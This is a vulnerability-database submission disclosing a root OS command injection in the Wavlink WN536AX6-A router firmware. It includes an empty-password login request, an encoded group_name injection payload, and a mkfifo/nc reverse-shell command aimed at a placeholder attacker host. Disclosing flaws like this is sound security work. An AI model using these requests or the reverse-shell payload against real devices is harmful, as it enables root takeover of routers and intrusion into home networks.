Submit #919502: Wavlink Router Firmware V260507_2.0.0 OS Command Injectioninfo

TitleWavlink Router Firmware V260507_2.0.0 OS Command Injection
DescriptionAn OS command injection vulnerability (CWE-78) was identified in the WAVLINK WN536AX6-A (AX6000) router, firmware M36AX6_V260507_2.0.0-WO-d173724 (OpenWrt-based, ARM aarch64/musl). The web management interface is a lighttpd front-end (ports 80/443) that proxies dynamic *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. ioos dispatches requests based on the "opt" parameter via a {name,handler} table. The handler for fname=sys & opt=openvpn_cli_group (function sub_416760, file /bin/ioos) takes the user-controlled "group_name" request parameter and passes it to system() via snprintf without any input validation or sanitisation: snprintf(buf, 0x4000, "uci set ovpnclient.@groups[-1].group_name='%s'", group_name); // 0x416b30 system(buf); // 0x416b48 Because the user input is embedded inside single quotes, a group_name value such as a';id>/tmp/p; breaks out of the quoted string (a';CMD;') and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device. The sibling handler opt=wireguard_cli_group (sub_41a1d8) builds the analogous "uci set wgclient.@groups[-1].group_name='%s'" and is exploitable identically. Exploitation requires reaching ioos and passing its login check. Two vectors exist: (a) the dispatcher (cgi_protocol_handler) trusts the IP-FROM request header and sets the login flag to 1 whenever IP-FROM equals "127.0.0.1", with NO token required - exploitable from loopback or any SSRF that can reach 127.0.0.1:81; (b) through the lighttpd front door with a valid token, which on a factory-default device is obtainable via the login endpoint (fname=system&opt=login&function=set) using an EMPTY password (the device ships in first_login state), making the attack effectively unauthenticated from the network until the administrator sets a password. ioos' custom HTTP parser introduces two exploitable quirks: spaces must be sent as %20 (it does not treat "+" as space) and the IP-FROM header is only honoured when it precedes Content-Type in the request. Proof of concept (front-door vector, default-config device): Step 1 - login (empty password): POST /index.csp?token=x body: fname=system&opt=login&function=set Response: { ..., "token": "<32-hex token>", "error": 0 } Step 2 - command injection (id output to /tmp/p on the device): POST /index.csp?token=<token> body: fname=sys&opt=openvpn_cli_group&function=set&action=add&group_id=998&group_name=a%27%3Bid%3E/tmp/p%3B%27 Response: { "success": 1, "error": 0 } The file /tmp/p on the device then contains: uid=0(root) gid=0(root) groups=0(root) A root reverse shell is obtained by sending group_name = a';setsid sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <attacker-ip> <port>>/tmp/f" </dev/null >/dev/null 2>&1 ;' (busybox nc has no -e, so the mkfifo pipe trick is used). The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges (uid=0) and an interactive root shell was obtained over a reverse connection.
Source⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN536AX6-A%20Router/WAVLINK_WN536AX6-A_openvpn_cli_group_command_injection.md
User
 shuyi (UID 100431)
Submission08/09/2026 04:58 (3 months ago)
Moderation11/01/2026 08:44 (3 months later)
StatusAccepted
VulDB entry429620 [WAVLINK WN536AX6-A V260507_2.0.0 Web Management Interface /bin/ioos sub_416760 group_name os command injection]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!